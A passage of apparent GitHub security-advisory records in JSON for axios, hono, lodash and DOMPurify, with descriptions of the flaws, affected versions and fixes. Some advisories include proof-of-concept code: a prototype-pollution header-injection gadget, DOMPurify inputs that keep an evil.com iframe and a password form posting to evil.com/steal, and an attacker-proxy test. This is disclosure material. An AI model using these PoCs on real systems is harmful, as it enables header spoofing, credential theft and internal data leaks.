"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}
GHSA-5C9X-8GCM-MPGX
Vulnerability from github – Published: 2026-05-05 00:33 – Updated: 2026-05-05 00:33Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0
Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0
Observed: - Request succeeds; server reports received: 2097152.
Control checks: - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.
### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42034"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:33:25Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nFor stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.\n\n### Details\n\nRelevant flow in lib/adapters/http.js:\n - 556-564: maxBodyLength check applies only to buffered/non-stream data.\n - 681-682: maxRedirects === 0 selects native http/https transport.\n - 694-699: options.maxBodyLength is set, but native transport does not enforce it.\n - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.\n\nThis creates a path-specific bypass for streamed uploads.\n\n ### PoC\n\nEnvironment:\n\n - Axios main at commit f7a4ee2\n - Node v24.2.0\n\n Steps:\n 1. Start an HTTP server that counts uploaded bytes and returns {received}.\n 2. Send a 2 MiB Readable stream with:\n - adapter: \u0027http\u0027\n - maxBodyLength: 1024\n - maxRedirects: 0\n\n Observed:\n - Request succeeds; server reports received: 2097152.\n\n Control checks:\n - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.\n - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.\n\n ### Impact\nType: DoS / uncontrolled upstream upload / resource exhaustion.\nImpacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.",
"id": "GHSA-5c9x-8gcm-mpgx",
"modified": "2026-05-05T00:33:25Z",
"published": "2026-05-05T00:33:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42034"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Axios\u0027 HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0"
}
GHSA-6CHQ-WFR3-2HJ9
Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.
The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.
Prerequisites:
A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).
Details
The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:
// lib/adapters/http.js
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
headers.set(data.getHeaders());
// ...
}
Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:
1. utils.isFormData(data) — lib/utils.js
const isFormData = (thing) => {
let kind;
return thing && (
(typeof FormData === 'function' && thing instanceof FormData) || (
isFunction(thing.append) && (
(kind = kindOf(thing)) === 'formdata' ||
(kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
)
)
)
}
2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package
// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders)
PoC
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
(.... Introduce here all the headers you want ....)
return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };
// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete',
{ userId: 42 },
{ headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
Impact
- Authentication Bypass (CVSS: C:H)
- Session Fixation (CVSS: I:H)
- Privilege Escalation (CVSS: C:H, I:H)
- IP Spoofing / WAF Bypass (CVSS: I:H)
Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.
Recommended Fix
Add an explicit own-property check in lib/adapters/http.js:
- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
- headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+ headers.set(data.getHeaders());
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42035"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:25:47Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself \u2014 any prototype pollution primitive in any dependency in the application\u0027s dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application\u0027s dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n headers.set(data.getHeaders());\n // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` \u2014 `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n let kind;\n return thing \u0026\u0026 (\n (typeof FormData === \u0027function\u0027 \u0026\u0026 thing instanceof FormData) || (\n isFunction(thing.append) \u0026\u0026 ( \n (kind = kindOf(thing)) === \u0027formdata\u0027 || \n (kind === \u0027object\u0027 \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === \u0027[object FormData]\u0027)\n )\n )\n )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` \u2014 Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n const headers = Object.create(null);\n (.... Introduce here all the headers you want ....)\n return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post(\u0027https://internal-api.company.com/admin/delete\u0027, \n { userId: 42 },\n { headers: { \u0027Authorization\u0027: \u0027Bearer VALID_USER_TOKEN\u0027 } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n- headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+ Object.prototype.hasOwnProperty.call(data, \u0027getHeaders\u0027)) {\n+ headers.set(data.getHeaders());\n```",
"id": "GHSA-6chq-wfr3-2hj9",
"modified": "2026-05-05T00:25:47Z",
"published": "2026-05-05T00:25:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Header Injection via Prototype Pollution"
}
GHSA-QP7P-654G-CW7P
Vulnerability from github – Published: 2026-05-09 00:46 – Updated: 2026-05-09 00:46Summary
The JSX renderer escapes style attribute object values for HTML but not for CSS. Untrusted input in a style object value or property name can therefore inject additional CSS declarations into the rendered style attribute. The impact is limited to CSS and does not allow JavaScript execution or HTML attribute breakout.
Details
style object values are serialized into a CSS declaration list and escaped for HTML attribute context only. Characters that act as CSS declaration boundaries — such as ;, comment markers, quoted strings, and block delimiters — are valid in HTML attribute content and can extend a value beyond its assigned property.
This issue arises when untrusted input is interpolated into a JSX style object and rendered server-side.
Impact
An attacker who can control the value or property name of a style object may inject arbitrary CSS declarations. This may lead to:
- Visual manipulation of the page, including full-viewport overlays usable for phishing
- Outbound requests to attacker-controlled hosts via CSS resource references such as
url(...) - Hijacking of UI affordances through layout, positioning, or visibility changes
This issue affects applications that render JSX on the server with style object values or property names derived from untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44458"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-09T00:46:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe JSX renderer escapes `style` attribute object values for HTML but not for CSS. Untrusted input in a `style` object value or property name can therefore inject additional CSS declarations into the rendered `style` attribute. The impact is limited to CSS and does not allow JavaScript execution or HTML attribute breakout.\n\n### Details\n\n`style` object values are serialized into a CSS declaration list and escaped for HTML attribute context only. Characters that act as CSS declaration boundaries \u2014 such as `;`, comment markers, quoted strings, and block delimiters \u2014 are valid in HTML attribute content and can extend a value beyond its assigned property.\n\nThis issue arises when untrusted input is interpolated into a JSX `style` object and rendered server-side.\n\n### Impact\n\nAn attacker who can control the value or property name of a `style` object may inject arbitrary CSS declarations. This may lead to:\n\n- Visual manipulation of the page, including full-viewport overlays usable for phishing\n- Outbound requests to attacker-controlled hosts via CSS resource references such as `url(...)`\n- Hijacking of UI affordances through layout, positioning, or visibility changes\n\nThis issue affects applications that render JSX on the server with `style` object values or property names derived from untrusted input.",
"id": "GHSA-qp7p-654g-cw7p",
"modified": "2026-05-09T00:46:44Z",
"published": "2026-05-09T00:46:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-qp7p-654g-cw7p"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono has CSS Declaration Injection via Style Object Values in JSX SSR"
}
GHSA-F23M-R3PF-42RH
Vulnerability from github – Published: 2026-04-01 23:50 – Updated: 2026-04-01 23:50Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.unset"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2950"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:50:27Z",
"nvd_published_at": "2026-03-31T20:16:26Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\n### Patches\n\nThis issue is patched in 4.18.0.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-f23m-r3pf-42rh",
"modified": "2026-04-01T23:50:27Z",
"published": "2026-04-01T23:50:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`"
}
GHSA-H7MW-GPVR-XQ4M
Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-27 16:32There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41240"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:34:17Z",
"nvd_published_at": "2026-04-23T16:16:26Z",
"severity": "MODERATE"
},
"details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n if (FORBID_ATTR[lcName]) {\n return false;\n }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n if (\n !(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -\u003e short-circuits\n ) \u0026\u0026\n (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated\n ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n const DOMPurify = createDOMPurify(window);\n\n DOMPurify.sanitize(\n \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027iframe\u0027]\n }\n );\n // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n // Expected: \u0027\u0027 (iframe forbidden)\n\n DOMPurify.sanitize(\n \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027form\u0027]\n }\n );\n // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: [\u0027onclick\u0027]\n }\n );\n // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
"id": "GHSA-h7mw-gpvr-xq4m",
"modified": "2026-04-27T16:32:31Z",
"published": "2026-04-22T17:34:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}
GHSA-M7PR-HJQH-92CM
Vulnerability from github – Published: 2026-05-05 00:40 – Updated: 2026-05-05 00:40The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';
```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
}); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ```
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42038"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:40:17Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching \u2014 it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = \u0027localhost\u0027;\nprocess.env.http_proxy = \u0027http://attacker-proxy:8888\u0027;\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % \u003e.... \n process.env.http_proxy = \u0027http://127.0.0.1:8888\u0027;\n\n console.log(\u0027=== Test 1: localhost (should bypass proxy) ===\u0027);\n try {\n await axios.get(\u0027http://localhost:7777/\u0027);\n } catch(e) {\n console.log(\u0027Error:\u0027, e.message);\n }\n\n console.log(\u0027\u0027);\n console.log(\u0027=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\u0027);\n try {\n await axios.get(\u0027http://127.0.0.1:7777/\u0027);\n } catch(e) {\n console.log(\u0027Error:\u0027, e.message);\n }\n\n fakeProxy.close();\n internalServer.close();\n });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n\u2705 Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n\ud83d\udea8 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n\ud83d\udea8 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n\u003cimg width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" /\u003e\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases \u2014 localhost, 127.0.0.1, and ::1 should all be treated as equivalent.",
"id": "GHSA-m7pr-hjqh-92cm",
"modified": "2026-05-05T00:40:17Z",
"published": "2026-05-05T00:40:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42038"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
